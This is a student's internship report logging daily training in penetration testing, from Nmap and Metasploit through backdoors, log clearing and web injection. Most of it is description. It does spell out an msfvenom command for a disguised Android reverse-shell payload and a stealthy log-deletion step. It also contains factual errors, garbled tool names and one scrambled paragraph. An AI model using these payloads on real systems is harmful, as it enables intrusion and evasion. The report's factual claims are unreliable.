CYBERSECURITY INTERNSHIP REPORT

Submitted by -

Satvik Shrivastava
23EO5-ST#IS#6653

Under the Supervision of -

UPENDRA
Senior Security Analyst

KRISHNA
Junior Security Analyst

SUPRAJA®
TECHNOLOGIES

- Registered And Head Office -

D.NO: 11-9-18, 1st Floor,
Majjivari Street, Kothapeta,
Vijayawada - 520001.

+91 9550055338 / +91 7901336873

contact@suprajatechnologies.com

Table of Contents:

Introduction

As a cybersecurity enthusiast and aspiring professional, I had the privilege of undertaking a 32-day remote internship as a **CyberSecurity** Intern at **Supraja Technologies**. This internship provided me with an invaluable opportunity to bridge the gap between theoretical knowledge and practical application in the rapidly evolving field of cybersecurity.

Supraja Technologies, a leader in innovative technology solutions specially in Andhra Pradesh, offered a dynamic environment to explore various aspects of cybersecurity, from Network Security and Vulnerability Assessment to Web Security and security policy development. This report details my journey through the internship, highlighting daily activities, key learnings, the project undertaken, and the skills acquired during this enriching experience.

Throughout the internship, I was exposed to real-world cybersecurity challenges and state-of-the-art technologies used to protect digital assets. Working alongside experienced professionals, I gained insights into industry best practices, cutting-edge tools, and the critical thinking required to anticipate and mitigate cyber threats.

This report aims to provide a comprehensive overview of my internship experience, reflecting on the knowledge gained, challenges faced, and the contributions made to Supraja Technologies' cybersecurity initiatives. It also includes personal observations and recommendations that may benefit both future interns and the organization.

1.1 Company Overview: Supraja Technologies

Supraja Technologies, owned by CHSMRLSS TECHNOLOGIES PRIVATE LIMITED, is a dynamic and innovative technology solutions provider specializing in cybersecurity and digital marketing. With a commitment to excellence and a focus on delivering value, Supraja Technologies has established itself as a trusted partner for businesses across various sectors especially in the state of Andhra Pradesh.

The company offers a comprehensive range of technology solutions tailored to meet the unique needs of each client. Their expertise spans web development, software solutions, mobile applications, social media management, and emerging technologies. This versatility allows Supraja Technologies to serve a diverse clientele, including law enforcement agencies, financial institutions, export-import businesses, educational institutions, and both public and private sector organizations.

What sets Supraja Technologies apart is their ability to adapt and innovate in the fast-paced global cybersecurity and digital marketing landscape. The company prides itself on staying at the forefront of technological advancements, consistently incorporating the latest trends and innovations into their service offerings.

One of Supraja Technologies' key strengths lies in its highly skilled and committed team. The professionals at Supraja are not only experts in their respective fields but also passionate about their work, ensuring high-quality deliverables and a positive working relationship with clients. The company fosters a culture of continuous learning and skill enhancement, empowering each employee to align with the organization's broader objectives and contribute effectively to client success.

Supraja Technologies places a strong emphasis on creating value for its customers. This customer-centric approach is reflected in their swift response times and 24/7/365 availability, ensuring that client issues are resolved promptly and efficiently. This commitment to customer satisfaction has been instrumental in building long-lasting relationships with clients across various industries.

The mission of Supraja Technologies is clear and ambitious: to create new levels of excellence in the fields of cybersecurity and digital marketing. This is achieved through the delivery of high-quality, reliable services and solutions that are not only technologically advanced but also timely and tailored to each client's specific needs.

In the rapidly evolving digital landscape, Supraja Technologies stands out as a forward-thinking, reliable, and innovative partner, dedicated to helping businesses navigate the complexities of cybersecurity and digital marketing while driving them towards success.

1.2 Internship Objectives

During my internship, my objectives were centered around gaining comprehensive, hands-on experience in various aspects of cybersecurity. Here are the detailed objectives .

1. **Networking Fundamentals and Security:** Develop a solid understanding of networking principles, including how data is transmitted across networks, identifying potential security vulnerabilities within network architectures, and implementing effective security measures to protect against unauthorized access and attacks.
2. **Proficiency with Kali Linux**: Master the use of Kali Linux as a primary tool for cybersecurity tasks. This includes familiarizing myself with its command line interface, utilizing its various built-in tools, and conducting penetration testing and vulnerability assessments.
3. **Nmap - Scanning and Enumeration**: Learn to use Nmap for network scanning and enumeration. This includes understanding different types of scans (e.g., SYN scan, ACK scan), interpreting scan results to identify open ports and services, and detecting potential vulnerabilities in networked devices.
4. **Metasploitable and Vulnerability Scanning**: Conduct vulnerability assessments using Metasploitable, a deliberately vulnerable virtual machine, to practice exploitation techniques. This involves identifying vulnerabilities, understanding the risk associated with each vulnerability, and applying appropriate mitigation strategies.

5. **Understanding Types of Attacks and Testing**: Gain knowledge of various types of cyber attacks, including SQL injection, cross-site scripting (XSS), denial-of-service (DoS), and others. Learn how to perform different types of security testing, such as penetration testing, security auditing, and ethical hacking, to uncover potential security weaknesses.
6. **Injections and SQL Vulnerability**: Explore different injection techniques, particularly SQL injection, to understand how attackers exploit improperly sanitized input fields. Learn how to identify these vulnerabilities and implement secure coding practices to prevent them.
7. **Burp Suite for Web Security Testing**: Utilize Burp Suite as a comprehensive tool for web application security testing. This involves intercepting and modifying HTTP requests and responses, conducting automated and manual testing for vulnerabilities, and using Burp Suite's features to enhance web security.
8. **Identifying and Mitigating Web Security Flaws**: Understand common web security flaws, including design flaws and implementation errors. Learn how to identify these flaws through code reviews and security assessments and propose effective remediation techniques.
9. **Design Flaws and Secure Design Principles**: Analyze common design flaws in software applications and learn to apply secure design principles to prevent them. This includes understanding the importance of secure software development life cycles (SDLC) and integrating security into each phase of development.

By the end of the internship, I aimed to develop a strong foundational knowledge in cybersecurity, enhance my practical skills in using cybersecurity tools, and build a mindset focused on proactive security measures and continuous learning in the ever-evolving field of cybersecurity.

1.3 Role Description

The Internship was divided into two phases - The Training Phase and The Project Phase. As a CyberSecurity Intern, my role involved gaining hands-on experience in various cybersecurity domains, including network security, vulnerability assessment, and ethical hacking. I utilized tools like Kali Linux, Nmap, Metasploitable, and Burp Suite to perform security testing on various websites, identify vulnerabilities, and suggest mitigation strategies. My responsibilities also included learning about different types of cyber attacks, practicing secure coding to prevent vulnerabilities like SQL injections, and understanding web security and design flaws to enhance the overall security posture of applications. I got the opportunity to apply my learnings through the Tasks which were provided throughout the internship. This role enabled me to build a strong foundation in cybersecurity principles and practices.

Daily Activity Log

This section covers all the topics that were taught during the training phase of the Internship. The sessions were scheduled daily from 6:30 PM to 9:30 PM, including weekends, for the next 30 days. Technical requirements included having the latest version of Zoom installed, and ensuring 100 GB of free disk space for toolkit installations.

2.1 Week 1 (Days 1 to 7)

Day 1

The orientation covered key cybersecurity concepts and **Cybersecurity Fundamentals**-

1. Data Breach Definition: Unauthorized access to sensitive information.
2. Dark Web: A part of the internet where stolen data is often sold.
3. Doxing: The act of selling breached data on the dark web.

The Cyber Kill Chain framework was introduced as a method for analyzing cyber attacks.

Phases of Hacking: Information gathering, scanning, gaining access, maintaining access, and covering tracks.

Cyber Kill Chain: A framework to analyze cyber attacks, consisting of weaponization, delivery, exploitation, installation, command and control, and actions on objectives.

Day 2

The Networking Concepts Overview begins with an introduction to the **Cyber Attack Process**.

1. Information Gathering: Targets banking employees to steal login credentials.
2. Phishing Link Creation: Crafting a malicious link for the victim.
3. Exploration Phase: Victim clicks the link and enters sensitive information.
4. Installation Phase: Malware or a backdoor is installed for persistent access

To counter these attacks, several Defensive Measures are outlined:

1. Reconnaissance Phase: Avoid sharing personal information online.
2. Preparation Phase: Stay aware of cyber attack tactics.
3. Exploitation Phase: Employees should be aware of and avoid phishing links.
4. Installation Phase: Detects and removes malware.

Types of Networks-

LAN (Local Area Network) is typically found in settings like a college lab, while a WAN (Wide Area Network) can be seen in submarine cables connecting continents. MAN (Metropolitan Area Network) is used within company branches in a city, and CAN (Campus Area Network) connects different blocks within a college. PAN (Personal Area Network) refers to networks like home Wi-Fi, and Hybrid Networks combine multiple network types for broader functionality.

Network Topologies-

In a Bus Topology, all devices share a single communication line, while a Ring Topology connects devices in a circular path. A Star Topology involves all devices being connected to a central hub, and a Mesh Topology ensures that each device is connected to every other device. Tree Topology is characterized by a hierarchical structure with parent-child relationships, and Hybrid Topology combines two or more topologies for greater efficiency.

Network Topology Mapper

- A tool for identifying network topology.
- Includes installation instructions.
- Users are cautioned against unauthorized tool usage

IP Addresses-

- Types of IP Addresses:
- IPv4: 32-bit address format.
- IPv6: 128-bit address format.
- Public vs. Private IP Addresses: Public IPs are globally unique; private IPs are used within local networks.

Ports-

Well-Known Ports: 0 to 1023 (e.g., HTTP - 80, HTTPS - 443).

Registered Ports: 1024 to 49151 (e.g., Skype, Discord).

Then the **OSI Reference Model** is discussed, outlining its seven layers. The Application Layer is responsible for the user interface and application services, while the Presentation Layer handles data translation and encryption. The Session Layer manages connections, and the Transport Layer is responsible for data segmentation and transmission. The Network Layer focuses on routing data packets, the Data Link Layer on frame creation and error checking, and the Physical Layer on the transmission of raw bits.

Understanding networking fundamentals for cybersecurity, particularly the significance of IP addresses, ports, and network topologies in network management.

Day 3

The session covered various topics related to networking and practical information gathering techniques. Key focus areas included private IP address ranges, OSI reference model, encapsulation and decapsulation processes, and networking devices.

DMZ (Demilitarized Zone) -

Enhances network security by isolating external services from the internal network.

Handshake Processes-

1. Two-Way Handshake: Establishes a connection between two clients.
2. Three-Way Handshake: Used to establish a connection between a client and server.
3. Four-Way Handshake: Used to terminate a connection securely.

Information Gathering Techniques-

Active vs. Passive Reconnaissance:

Active Reconnaissance: Involves direct interaction with the target.

Passive Reconnaissance: Involves gathering information from external sources without directly interacting with the target.

Tools for Information Gathering:

NS Lookup: Used to find the IP addresses of websites.

Whois Lookup: Helps gather registration details of domains.
Reverse IP Lookup: Identifies other websites hosted on the same server.
IP Geolocation: Determines the physical location of an IP address.
Conclusion - The session emphasized the importance of understanding networking concepts and practical skills in information gathering for ethical hacking.Participants were encouraged to download the toolkit and prepare for the next session.

Day 4

This session was led by Mr. Santosh Chaluwadi Sir, he oriented the interns about the internship and final certification.

Day 5

Information Gathering Tools-
In this session, we began by exploring various information-gathering tools essential for cybersecurity tasks. It included a brief overview of tools previously mentioned, such as MNIST lookup, IP geolocation, reverse IP lookup, Wayback Machine, Diapalizer, subdomain finder, and VirusTotal. A significant focus was placed on the SmartVoice Tool, which is used for gathering detailed information about domains, IP addresses, and hosts.
SmartWhoIs Tool-
Purpose: Used for gathering information about domains, IP addresses, and hosts.
Functionality of SmartWho Is We Can input domain names, IP addresses, or host names to gather information.
Displays details such as IP address, organization name, creation, and expiry dates.
Network Scanning with SolarWinds-
Open the tool and create a new scan.
Input the IP address range based on the user's network configuration.
Execute the scan to visualize the network topology.
Finally, we introduced **Maltego**, an advanced OSINT (Open Source Intelligence) tool widely used by cybersecurity professionals for investigations and data analysis. Before installing Maltego, ensure that the Java Runtime Environment (JRE) is installed as a prerequisite.
Utilization of Maltego-
Maltego integrates various information gathering tools into one platform.
Users can explore different entities and gather comprehensive data for investigations.
In conclusion, after installing Maltego, users should register for an account using a temporary email, confirming account activation via email. Maltego integrates various information-gathering tools into a single platform, allowing users to explore different entities and gather comprehensive data for cybersecurity investigations.

Day 6

Mobile Number Investigation-

Maltego offers the capability to gather detailed information on various entities, including cryptocurrency addresses, transactions, devices, emails, and organizations. A specific use case discussed was investigating a mobile number.

o Steps to input a mobile number into Maltego.

o Use of transforms to gather information related to the mobile number.

o Ability to extract details like carrier name and owner information.

Domain Information Gathering-

We also learned how to gather comprehensive information regarding a domain name using Maltego. The session walked through the steps required to input a domain into the tool and use the various integrated tools within Maltego for domain analysis.

Report Generation-

Once data is gathered, Maltego allows users to generate detailed reports.

Lab Setup Instructions

The session then moved on to the practical aspect of the course, we were provided with detailed instructions on extracting the lab setup zip files correctly, installing VirtualBox, and configuring Kali Linux.

Deployment of Metasploitable Server in VirtualBox

Network Configuration - Explanation of NAT vs. Bridge Adapter settings.

Importance of ensuring all virtual machines are on the same network for communication.

Day 7

The session explained the distinction between scanning and enumeration. Scanning focuses on finding open ports and services, while enumeration involves gathering detailed information such as usernames and vulnerabilities. This phase is crucial for understanding the deeper aspects of network security.

VirtualBox Configuration was Instructed.

Nmap Tool Installation-

Nmap is used to discover hosts and services on a computer network by sending packets and analyzing the responses. Nmap provides a number of features for probing computer networks, including host discovery and service and operating system detection.

2.2 Week 2 (Day 8 - 14)

Day 8

Scanning Commands Overview-

Discussion on scanning commands and enumeration phase.

Introduction to proxies and HP3 tool for scanning.

Proxy-

Proxies were explained as intermediaries between the browser and the internet, helping to mask the source of requests. The session detailed how the localhost IP address (127.0.0.1) and port 8080 could be used for proxy settings.
Target Specification-
Use domain names or IP address ranges for scanning.
Common mistakes include confusing port range with IP address range.

Some methods for specifying targets during scanning, such as using domain names or IP address ranges. A common mistake highlighted was confusing port ranges with IP address ranges.
Scanning commands, including -iL for list scanning and --exclude for excluding specific IP addresses. It was emphasized that being on the same network as the target is crucial for obtaining accurate results.
Ping Scanning-
Use -sL to identify active targets.
Understanding the significance of ping in establishing connections.
Scanning Techniques-
TCP SYN scan (-sS), NULL scan, FIN scan, etc.
Importance of analyzing outputs and researching commands.
Port Specification - Use -p to specify ports for scanning.
Different flags for scanning default ports, well-known ports, and all ports.
Service Version Detection - Use -sV to detect service versions on open ports.
Particular Proxy Scan - Proxy scanning can be defined as a method to conceal the source of a scan, which can be particularly useful for bypassing network restrictions.
Packet crafting, a manual process for creating and manipulating network packets. The HP3 tool was highlighted as a key resource for packet crafting, offering advanced capabilities for network analysis.

Day 9

Gaining Access and Enumeration Techniques-

This session provided an overview of enumeration techniques, focusing on methods such as FTP and Telnet. Enumeration is essential in identifying open services and potential vulnerabilities. It was noted that sometimes a regular scan might not yield any data, possibly due to firewall blocking.
Overview of Enumeration Techniques-

- Discussed FTP, Telnet, and other enumeration techniques.
- Regular scan output indicates no data retrieval or firewall blocking.

Gaining Access-

- Gaining access involves exploiting vulnerabilities to control a system.
- Types of access: Authorized and Unauthorized.
- Focus on exploiting vulnerabilities identified in previous phases (info gathering, scanning, enumeration).

Connecting to FTP Service-

- Use the command FTP <IP address> to connect to the FTP service.
- Credentials for FTP service: msfadmin:msfadmin.
- Anonymous login allowed with credentials: anonymous:anonymous.

FTP Commands-

- help: Displays available commands.
- get: Downloads files from the server.
- put: Uploads files to the server.
- MKDIR: Attempts to create a directory (may fail due to permission issues).

Creating and Sending Files-

- Created a malware file and sent it to the server using the put command.
- Demonstrated the ability to create directories and upload files.

Accessing User Directories-

- Successfully logged in as a user and created a directory.
- Demonstrated file transfer capabilities using FTP commands.

Day 10

Objective: Discuss the basics of system hacking, focusing on installing Windows 7 and Windows 10 in a virtual box.

Exploits: Overview of exploits targeting vulnerable systems, with an emphasis on identifying these systems.

1. Zero-Day Vulnerability: Defined as a software security flaw unknown to the vendor, with no patch available at the time of discovery.
2. EternalBlue Exploit: Exploitation of Windows 7 using the EternalBlue vulnerability (MS17-010), a vulnerability discovered in 2010.
3. Firewall Considerations: Importance of firewalls in blocking unauthorized access, with demonstrations involving disabling firewalls.
4. Network Configuration- Kali Linux and Windows 7: Ensure both systems are on the same NAT network for testing.
5. IP Address Verification: Use ip configuration in Windows to confirm both systems share the same IP range.
6. Ping Test: Test connectivity by pinging Windows 7 from Kali Linux, noting that firewalls may block these requests.

Windows Firewall-

Firewall Status: Check and disable the Windows Firewall to allow communication between systems.

Port Scanning: Use Nmap to identify open ports, acknowledging that firewalls may filter some ports.

Metasploit Framework: Launch Metasploit and search for the EternalBlue exploit.

Configuration: Set necessary options, such as target IP, and run the exploit to check for vulnerabilities.

Post-Exploit Actions-

After exploitation, use commands like sysinfo and hashdump to gather system information and understand the consequences of system access.

Day 11

Backdoor Creation- Backdoors allow hackers to maintain access after exploiting a system's vulnerability.
Creating a Backdoor: Use msfvenom to create a Windows 10 payload.
Steps-

- Check the Kali Linux IP address with ip address.
- Generate the payload using msfvenom.
- Save the payload as update.exe on the desktop.

Transfer Payload: Move the payload to the target Windows machine using methods like Send Anywhere.
Environment: Ensure the target machine is in an unsecured environment to execute the payload.
Metasploit Configuration-
Start Metasploit with msfconsole.
Search for the appropriate exploit using search multi/handler.
Set the payload to windows/meterpreter/reverse_tcp and configure LHOST.
Run Payload: Execute the payload on the target Windows machine.
Meterpreter Session: If successful, a Meterpreter session is established. Use commands like sysinfo and hashdump to gather target information.
Security Settings: Ensure all security settings on the target are disabled. Payload Execution: Confirm the payload is executed correctly to maintain access to the system.

Day 12

Maintaining Access

Persistence Techniques: After gaining access, persistence can be maintained through:
Installing backdoors : Using Remote Access Trojans (RATs)
Types of **Malware**-

1. Malvertising: Malicious code in advertisements.
2. Virus: Attaches to legitimate files and spreads.
3. Spyware: Collects user data.
4. Ransomware: Encrypts files and demands ransom.
5. Worm: Self-replicating and spreading across networks.
6. Adware: Displays unwanted ads.
7. Fileless Malware: Operates without traditional executable files, exploiting vulnerabilities.

Understanding Malware: Each type of malware has unique functionalities and operations, crucial for cybersecurity.
RAT Creation: Steps to create a RAT file using NJRAT and the necessity of disabling Windows security features for successful execution.
RAT Transfer Methods: Methods to transfer the RAT file to a target system, such as shared folders or USB drives.

Day 13

Covering Tracks and Android Hacking:

Definition: Covering tracks refers to deleting evidence or erasing traces of actions performed during hacking activities.

Importance: Clearing logs is essential to maintaining anonymity after an attack.

Log Locations:

- Linux: Logs are stored in /var/log.
- Windows: Logs can be accessed via the Event Viewer.

Log Details and Confirmation

Log Details- Logs are critical for tracking activities and troubleshooting, containing timestamps, event descriptions, and relevant data.

Information Gathering-

Net Discover: Used to identify devices on the same network.

TTL Values to Identify OS:

1. Linux: TTL 64
2. Windows: TTL 128
3. Router: TTL 255

Scanning with Nmap-

Command for scanning open ports:

```
nmap -sV -T4 <target_IP>
```

Scanning default ports is vital for detecting running services on the target system.

Log Examination-

To view log contents, the command is:

```
cat <log_file>
```

Logs are essential for identifying actions taken on a system.

Log Clearing-

Command to remove logs:

```
rm <log_file>
```

Stealth is critical when clearing logs to avoid detection by system administrators.

Windows Event IDs-

Understanding different types of events (e.g., critical, error, warning, information, audit success, audit failure) is crucial for security audits.

Audit Logs-

Important Event IDs:

Successful login: 4624

Failed login: 4625

Log clearing: 1102

Event Viewer-

Filtering logs in the Event Viewer helps identify specific events and monitor unauthorized access attempts.

Android Hacking- Command to create an Android payload:

```
msfvenom -p android/meterpreter/reverse_tcp LHOST=<Kali_IP> LPORT=4444 -o update.apk
```

Day 14

Backdoor Attacks and Steganography-

The session began with a discussion on backdoor attacks targeting Android devices, which require a remote connection to the target phone. It is essential that both the attacker and the target are on the same Wi-Fi network for the attack to succeed.

Phases of Hacking-

1. Information Gathering
2. Scanning
3. Enumeration
4. Gaining Access
5. Maintaining Access
6. Clearing Tracks

Tools and Techniques-

Introduction of new modules related to Android hacking and password cracking.

Steganography-

Steganography is the technique of hiding information within other files, such as images, audio, or video.

Tool: Stegomagic is a tool that allows users to hide text messages and binary files within images.

Using Stegomagic-

Steps to hide a text message in an image:

Create a text file (e.g., secret.txt) containing the message.

Use Stegomagic to embed the text file into an image.

A decryption key is generated for retrieving the hidden message later.

OpenPuff- OpenPuff is a more advanced steganography tool that requires three passwords for encryption. Steps to use OpenPuff were covered, including selecting carrier files and the data to be hidden.

File Format and Size-

The carrier file used in steganography must be larger than the data being hidden. Supported file formats include images, audio, and video files.

Wireshark Tool Introduction-

Wireshark is a packet-capturing tool used to analyze data packets within a network. Demonstration of how to capture packets during FTP operations on a Metasploitable server was given.

2.3 Week 3 (Days 15-21)

Day 15

The session explained the packet color codes in **Wireshark** and their significance. Recognizing different packet types and understanding their meanings is essential for quickly identifying potential security threats during packet analysis.

The session provided definitions and explanations for **Denial of Service (DoS)** and **Distributed Denial of Service (DDoS)** attacks. An example of server overload during high-traffic events was discussed, illustrating how these attacks can disrupt services.
The session provided a comprehensive overview of the Packet Builder tool and its applications in network security. Participants gained practical experience in capturing, analyzing, editing, and sending packet data, which is essential for understanding network vulnerabilities and defenses. The discussion on DoS and DDoS attacks, along with the use of botnets, emphasized the need for robust security measures to protect against network-based threats. Overall, the session equipped participants with valuable skills and knowledge for their future work in cybersecurity.

Day 16

The session on packet crafting and DDoS attacks provided a thorough overview of essential concepts and practical applications related to network security. The introduction highlighted the significance of packet crafting for network traffic analysis and emphasized the need to select the correct network adapter for effective packet crafting. The session clarified the distinctions between Denial of Service (DoS) and Distributed Denial of Service (DDoS) attacks, explaining that DoS attacks originate from a single source, while DDoS attacks are launched from multiple sources.

Mitigation techniques for DDoS attacks were discussed extensively. Key strategies include rate limiting, which controls the number of requests to a server; web application firewalls (WAF), which restrict access and block suspicious IPs; and DDoS protection services like Cloudflare, which filter out malicious traffic. Intrusion Detection Systems (IDS) and Intrusion Prevention Systems (IPS) were also covered, with IDS detecting and IPS preventing malicious requests. Load balancing was explained as a method to distribute traffic across multiple servers to prevent server overload and ensure efficient request handling.

Day 17

The session on hacking web applications provided an in-depth exploration of various techniques and concepts essential for understanding and manipulating web-based systems. The introduction covered the basics of web applications, defining them as software applications that run on web servers and are accessed via web browsers. It also outlined the architecture of web applications, highlighting the front end (user interface), back end (databases, APIs, server-side processes), and middle end (communication between front and back ends, primarily through APIs). The role of load balancers in managing heavy traffic across multiple servers was also discussed.
The session then focused on bypassing login pages and the use of SQL injection techniques to access restricted areas of web applications. SQL, or Structured Query Language, is pivotal for managing and manipulating databases, and understanding its application is crucial for bypassing authentication mechanisms. The discussion included practical examples of SQL injection, such as manipulating SQL queries to bypass login authentication, with specific attention to how SQL injection can compromise database security.

Day 18

The session on Social Engineering and Email Analysis provided a comprehensive overview of various manipulation techniques used to extract sensitive information from individuals. Social engineering, as defined, involves tricking individuals into revealing confidential data through various methods. Key techniques covered included phishing, which involves deceptive emails or links to obtain sensitive information; vishing, or voice phishing through phone calls, often masquerading as legitimate requests; smishing, which uses SMS to lure victims with fake offers or loans; spear phishing, which targets specific individuals or organizations with tailored attacks; shoulder surfing, where attackers observe individuals entering sensitive information; and impersonation, where attackers pose as someone else to gain access to private details.

The session then focused on specific social engineering tactics, such as spear phishing, which involves crafting targeted attacks using personal information, and shoulder surfing, where attackers observe and steal passwords directly. Impersonation was also discussed as a method where attackers pretend to be someone else, such as a bank employee, to extract sensitive information.

The discussion on email authentication protocols highlighted the importance of DMARC (Domain-based Message Authentication, Reporting, and Conformance), SPF (Sender Policy Framework), and DKIM (DomainKeys Identified Mail) in preventing email spoofing. SPF records, in particular, help to ensure that only authorized senders can send emails on behalf of a domain, thereby preventing spammers from misusing email domains.

Day 19

The session on Vulnerability Assessment and Penetration Testing (VAPT) began with a reminder for students to submit their assignments. The focus then shifted to the importance of changing targets if a response is not received from a specific target, such as a website from Pakistan.

The new module introduced emphasized VAPT, guiding students to research the definitions and significance of vulnerability assessment and penetration testing. Vulnerability assessment involves identifying weaknesses in a system, application, or network to preemptively address potential exploits. Penetration testing, on the other hand, simulates real-world attacks to exploit these vulnerabilities and demonstrate their potential impacts.

The session highlighted the importance of VAPT for organizations to identify weaknesses, reduce risks, enhance security measures, protect assets, and meet compliance requirements. Various types of penetration testing were discussed, including:

- White Box Testing: Involves full knowledge of the system, including source code reviews, often used for thorough testing and code reviews.
- Black Box Testing: Simulates an external attacker's perspective with no prior knowledge of the system, focusing on functionality without internal insights.
- Gray Box Testing: Combines elements of both white and black box testing with partial knowledge of the system.

The phases of penetration testing were outlined:

1. Pre-Attack Phase: Involves information gathering, defining the scope of work, and establishing rules of engagement (ROE).
2. Attack Phase: Focuses on exploiting identified vulnerabilities and conducting various attack techniques, such as privilege escalation.
3. Post-Attack Phase: Analyzes the impact of the attack and generates reports with actionable recommendations.

Bug bounty programs were also discussed, defining them as initiatives where organizations invite ethical hackers to find and report vulnerabilities. These programs can be public, private, or time-based, with rewards varying from cash prizes to recognition.

The session contrasted automated and manual testing:

- Automated Testing: Uses tools like Acunetix, Nessus, and Nmap for efficient scanning of known vulnerabilities.
- Manual Testing: Involves skilled testers manually probing for complex issues that automated tools may miss, using tools such as Metasploit, OWASP ZAP, and Wireshark.

A practical session guided students through installing and using Acunetix for vulnerability scanning, emphasizing ethical considerations and the necessity of obtaining permission before testing real websites.

The session concluded with a recap of VAPT's importance and practical applications, encouraging students to practice and explore the tools discussed.

Day 20

The session on vulnerability assessment and penetration testing provided a comprehensive overview of essential concepts and practical applications. It distinguished between vulnerability assessment—focused on identifying and quantifying system vulnerabilities—and penetration testing, which involves simulating attacks to exploit these vulnerabilities. The session outlined the three main phases of testing: pre-attack, attack, and post-attack phases.

Participants were introduced to the concept of bug bounty programs, where individuals, known as bug bounty hunters, identify and report bugs in applications for rewards such as cash prizes or recognition. The session covered different types of penetration testing, including White Box, Black Box, and Gray Box testing, with Black Box and Gray Box being preferred by most organizations.

Participants engaged in hands-on practice using automated tools and were encouraged to manually verify the vulnerabilities identified. The session concluded with advice on professional reporting, including key components such as title, description, reproduction steps, and proof of concept. Emphasis was placed on ethical hacking practices and the legal implications of vulnerability testing, with an open floor for questions and troubleshooting.

Day 21

The session focused on the Nessus automated testing tool, highlighting its advanced capabilities compared to previously discussed tools such as Acrylics and Grasp Job. Nessus is designed for automated testing, which contrasts with manual testing that requires human intervention. Key features of Nessus include a variety of templates for scanning different types of targets and web applications, along with the necessity of a license key for activation. The installation process for Nessus was detailed, requiring participants to use their internship-provided email for registration and ensuring their Gmail accounts have 2-step verification activated. The tool, which runs on port 8834, requires downloading a 100 MB file and following prompts to complete installation, with an activation code sent to the registered email being essential for tool activation. Post-installation, users are instructed to update the software and enable automatic updates for all components. Nessus allows users to create new scans using various templates, such as web application tests, by specifying target domains like testphp.vulnweb.com.

2.4 Week 3 (Days 22-28)

Day 22

designated targets, specifically test.php.1.com and test.php.wallweb.com. After confirming that the scans were successfully completed, participants were encouraged to share their screens to discuss the results. The session then focused on generating reports in various formats such as HTML, PDF, and The session began with a reminder for participants to complete a practical vulnerability scan on CSV, guiding participants on how to select and analyze critical vulnerabilities, including reviewing descriptions, suggested solutions, and noting the CVSS score, which was indicated as 10 for the highlighted vulnerability.

Tools like Nessus and Burp Suite Professional were discussed, with Nessus being introduced as a robust vulnerability scanning tool and Burp Suite Professional being highlighted for its ability to perform automated scans quickly and accurately, albeit requiring a license. The limitations of the Burp Suite Community Edition, which does not support vulnerability scanning, were also noted. A detailed overview of proxy and firewall concepts was provided, explaining how proxies serve as intermediaries to enhance privacy and filter harmful content, while firewalls monitor and block malicious network traffic. The differences between VPNs and proxies were clarified, emphasizing the added security of VPNs due to encryption and the recommendation to use paid VPN services for better protection.

Day 23

The session focused on various aspects of web security, with an emphasis on practical tasks and tools to identify and exploit vulnerabilities. Initially, employees were reminded to complete specific tasks sequentially, ensuring foundational understanding before moving on to more advanced topics. A common issue faced by participants was the configuration of proxy settings and pop-up tools in Firefox, necessary for using tools like Burp Suite effectively. Instructions were provided for accessing proxy settings, configuring the HTTPS proxy, and handling pop-ups, ensuring all employees could set up their environments correctly.

The session then moved on to access control vulnerabilities, particularly in lab environments where user roles were controlled through request parameters. Employees learned to log into admin panels by inspecting and modifying cookie values to escalate privileges. Detailed steps were provided for configuring Firefox to work with Burp Suite, including the downloading and importing of a CA certificate to establish trust for HTTPS connections. Participants were guided on using Burp Suite to intercept, modify, and forward HTTP requests, gaining practical experience in manipulating GET and POST requests.

Further discussions covered SQL injection vulnerabilities, an essential skill for web security professionals. The session provided an overview of SQL injection, explaining how manipulating SQL queries could retrieve sensitive information. Participants were taught how to identify entry points for SQL injection in URLs, specifically looking for numerical values that could be exploited. The use of SQLMap, a powerful tool for extracting data from vulnerable SQL queries, was introduced.

Day 24

The session on access control vulnerabilities and injection attacks covered various types of injection vulnerabilities and methods to identify and mitigate them. Injection attacks involve inserting malicious payloads into a program or query to alter its execution flow, allowing unauthorized actions. The discussion highlighted several types of injection attacks, including HTML injection, text injection, iframe injection, and command injection. HTML injection involves inserting malicious HTML code into a web application, potentially modifying the website's content or appearance. Practical demonstrations showed how HTML payloads, such as <h1> and <a> tags, could be used to manipulate website content. Text injection occurs when malicious text is injected into a website's URL, and if reflected in the output, it indicates a vulnerability. Participants learned about using URL encoding to bypass restrictions when certain special characters are not accepted by the target website.

Iframe injection, another form of attack, involves embedding external content or websites within a webpage using the <iframe> tag. A practical demonstration was provided, showing how participants could modify the source URL in the iframe payload to test this vulnerability. Command injection was also discussed, where malicious commands are injected into an input field and executed on the server. The session included a practical setup using the Damn Vulnerable Web Application (DVWA) on a virtual machine, demonstrating how commands like pwd and ls could be executed to manipulate server directories.

Day 25

Understanding vulnerabilities and implementing effective mitigations are critical for maintaining the security of web applications. Simply learning about vulnerabilities is not enough; it's equally important to focus on mitigation strategies to prevent security breaches. Mitigation involves applying patches and following security recommendations to protect systems from various types of vulnerabilities.

Among the many vulnerabilities that can affect web applications, access control vulnerabilities, SQL injection, HTML injection, text injection, iframe injection, and command injection are notable. Mitigating access control vulnerabilities involves multiple strategies, such as input validation and sanitization to prevent unauthorized access, conducting regular audits and penetration testing to identify and address issues, and using access control lists (ACLs) and role-based access control (RBAC) to manage permissions systematically. Adopting the principle of least privilege ensures that users and processes have only the minimum necessary access.

For SQL injection vulnerabilities, it's crucial to validate and sanitize all user inputs, use stored procedures to separate SQL code from user inputs, and limit database permissions to minimize the impact of a potential attack. Other injection vulnerabilities, such as HTML, iframe, and text injection, can be mitigated by validating input and implementing output encoding to prevent the injection of malicious content.

Cross-Site Scripting (XSS) is another common vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. XSS vulnerabilities can be categorized into reflected, stored, and DOM-based types. To test for these vulnerabilities, security professionals use various payloads, such as JavaScript alert boxes, to demonstrate the vulnerability. Mitigations for XSS include input validation and sanitization, output encoding, implementing a Content Security Policy, using secure development practices, employing HTTP-only and secure cookies, and conducting regular security audits.

Local File Inclusion (LFI) is a vulnerability that occurs when a web application improperly includes files from the server, leading to potential information disclosure and remote code execution. Testing for LFI involves manipulating URL parameters to see if they can access unauthorized files. Effective mitigations for LFI include thorough input validation, sanitization of user inputs, and regular security audits.

In conclusion, understanding and mitigating these vulnerabilities are essential for securing web applications. Regular testing, updates, and adherence to best practices in coding and security measures are necessary to protect against evolving threats. By implementing these strategies, organizations can significantly enhance their security posture and reduce the risk of exploitation.

Day 26

